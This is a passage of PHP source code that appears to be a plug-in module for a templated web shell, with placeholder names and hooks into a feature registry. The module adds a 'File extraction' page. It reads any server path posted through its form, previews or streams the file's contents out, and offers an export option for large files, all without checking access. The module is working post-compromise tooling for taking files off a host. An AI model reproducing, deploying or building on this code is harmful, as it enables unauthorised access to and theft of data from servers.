$feature["op"] === $page)); $page_content = __PREFIX__makePage( $features, $css, $page, [__PREFIX__makePageHeader( $feature[0]["title"], $feature[0]["description"] ), __PREFIX__makeForm( $page, $_SERVER["REQUEST_URI"], [__PREFIX__makeInput( "text", "Path", "__PARAM_1__", "C://path/to/file.txt", "Fully qualified path to the file to extract.", true, "__PARAM_99__" ), __PREFIX__makeCheckbox( "__PARAM_2__", "Preview", "Display preview of the file content if it's larger than 100kb.", $page === $FILE_EXTRACTION_PREVIEW, "y", $page === $FILE_EXTRACTION_PREVIEW ? "window.location.href = '?page=" . urlencode($FILE_EXTRACTION) . "&__PARAM_99__=' + encodeURIComponent(document.getElementById('__PARAM_1__').value)" : "window.location.href = '?page=" . urlencode($FILE_EXTRACTION_PREVIEW) . "&__PARAM_99__=' + encodeURIComponent(document.getElementById('__PARAM_1__').value)" ), __PREFIX__makeCheckbox( "__PARAM_3__", "Export", "Export the file even if larger than 100kb." )] )] ); } /** * Handle the file extraction operation * * @param $operation string The operation to handle * @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features container * * @return void */ function __PREFIX__handleFileExtraction($operation, $features) { $filepath = $_POST['__PARAM_1__']; $preview = strtolower($_POST['__PARAM_2__']) === "y"; $export = strtolower($_POST['__PARAM_3__']) === "y"; // sanitize the file path for display $sanitized_filepath = htmlentities($filepath); // check if the file exists if (!file_exists($filepath)) { echo "Error: File '$sanitized_filepath' does not exist.\n"; return; } // get the file size $filesize = filesize($filepath); // output some file information echo "Reading file '$sanitized_filepath'\n"; echo "File size: " . __PREFIX__formatBytes($filesize) . "\n"; // if preview is enabled, read the first 10Kb of the file if ($preview) { $preview_content = fopen($filepath, "r"); $read = fread($preview_content, 10240); // Read 10Kb fclose($preview_content); echo "Preview:\n" . htmlentities($read) . "\n"; return; } // if the file is less than 100Kb, read the entire file if ($filesize < 102400) { // Less than 100Kb __PREFIX__chunkedDownload($filepath, $filesize); } // if export is enabled, read the entire file even if it's larger than 100Kb elseif ($export) { __PREFIX__chunkedDownload($filepath, $filesize); } // if the file is larger than 100Kb and export is not enabled, display an error message else { echo "Error: File '$sanitized_filepath' is larger than 100kb. Use the export option to download the file.\n"; } } /** * Hook the isolated operations to add the login operation * * @param $isolated_ops array The isolated operations container * * @return void */ function __PREFIX__fileExtractionHooksIsolatedOps(&$isolated_ops) { global $FILE_EXTRACTION; $isolated_ops[] = $FILE_EXTRACTION; } /** * Hook the features to add the login feature * * @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features * container * * @return void */ function __PREFIX__fileExtractionHooksFeatures(&$features) { global $FILE_EXTRACTION, $FILE_EXTRACTION_PREVIEW; $features[] = ["title" => "File extraction", "description" => "Extract file content as base64.", "svg" => ' ', "op" => $FILE_EXTRACTION]; $features[] = ["title" => "File extraction", "description" => "Extract file content as base64.", "svg" => '', "hidden" => true, "op" => $FILE_EXTRACTION_PREVIEW]; } // section.functions.end // section.hooks add_hook("isolated_ops", "__PREFIX__fileExtractionHooksIsolatedOps"); add_hook("features", "__PREFIX__fileExtractionHooksFeatures"); add_named_hook("GET_page", $FILE_EXTRACTION, "__PREFIX__makeFileExtractionPage"); add_named_hook("GET_page", $FILE_EXTRACTION_PREVIEW, "__PREFIX__makeFileExtractionPage"); add_named_hook("POST_operation", $FILE_EXTRACTION, "__PREFIX__handleFileExtraction"); add_named_hook("POST_operation", $FILE_EXTRACTION_PREVIEW, "__PREFIX__handleFileExtraction"); // section.hooks.end